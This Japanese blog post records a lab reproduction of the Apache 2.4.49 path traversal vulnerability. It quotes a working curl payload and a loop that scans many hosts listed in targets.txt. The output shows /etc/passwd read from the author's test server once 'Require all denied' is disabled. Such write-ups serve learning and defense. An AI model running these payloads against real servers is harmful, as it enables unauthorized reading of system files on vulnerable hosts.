chikoblog

やってみたことの掃溜め

Apache2.4.49サーバにパストラバーサルの脆弱性攻撃やってみた

Apache HTTP Server 2.4.49にパストラバーサル脆弱性が発見されましたね。

security.sios.com

ちょっと面白そうなんで、検証環境を建てて実際にどんな感じで情報をとれるのか確認してみた。

おこなうこととしては以下のようなことをやろうと思っています。(死ぬほど簡易) f:id:Chiko_gorilla:20211006163626p:plain

環境構築の説明は省きます。

では実際にパストラバーサルってどのようなコマンドで実行できるのか?

Twitterに有力情報が載っていた

上記コマンド内容抜粋

cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done

これは、targets.txtの中にたくさんの攻撃先を記載して一気に情報をとる系のスクリプトみたいになっているように見えるので、今回の検証に必要な部分だけ抜粋。

curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

このコマンドの $host部分を攻撃先のURLに変えちゃえば情報は取れそう。

以下実行結果

[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>
[Gorill-user@GorillServer ~]$

あれ?passwdファイルの情報がぶっこ抜けないっすね…

最初上げた資料をよく見たらある情報が書いてありました。

Apache HTTP サーバー 2.4.49でのパス正規化の変更点に問題が見つかりました。攻撃者はパストラバーサル攻撃を用いてドキュメントroot外のファイルにアクセスすることが出来ます。ドキュメントroot外のファイルが"require all denied"で保護されていない場合にはこのアクセスが成功します。さらにこの問題によりCGIスクリプトのようなファイルのソースが漏洩する可能性があります。

どうやら、Apacheの設定ファイル httpd.conf 内の Require all denied が有効だと情報は抜かれないようです。
これ、デフォルトで有効な気がするんで変なことしてなかったらこの攻撃ははじけそうですね!

検証のため httpd.conf の設定を以下から

<Directory />
    AllowOverride none
    Require all denied
</Directory>

検証のため httpd.conf の設定を以下のように変更

<Directory />
    AllowOverride none
    #Require all denied # コメントアウトした
</Directory>

再度コマンド実行

[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rngd:x:998:996:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ec2-instance-connect:x:997:995::/home/ec2-instance-connect:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:996:994::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
Gorilla-user:x:1000:1000:EC2 Default User:/home/Gorilla-user:/bin/bash
ssm-user:x:1001:1001::/home/ssm-user:/bin/bash
[Gorill-user@GorillServer ~]$

passwd情報抜き取れましたね!

より必要そうな情報だけ抜いてみる。

[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure -v "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "http://GorillaGorillaGorilla.maz \033[0;31mVulnerable\n" || echo "http://GorillaGorillaGorilla.maz \033[0;32mNot Vulnerable\n"
*   Trying 1.1.1.1:80...
* Connected to GorillaGorillaGorilla.maz (1.1.1.1) port 80 (#0)
> GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
> Host: GorillaGorillaGorilla.maz
> User-Agent: curl/7.76.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 06 Oct 2021 04:45:41 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Wed, 06 Oct 2021 03:12:30 GMT
< ETag: "54f-5cda68441729d"
< Accept-Ranges: bytes
< Content-Length: 1359
<
{ [1359 bytes data]
* Connection #0 to host GorillaGorillaGorilla.maz left intact
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
http://GorillaGorillaGorilla.maz \033[0;31mVulnerable\n
[Gorilla-user@GorillServer ~]$

こんな感じでいろいろ情報は取れそうです。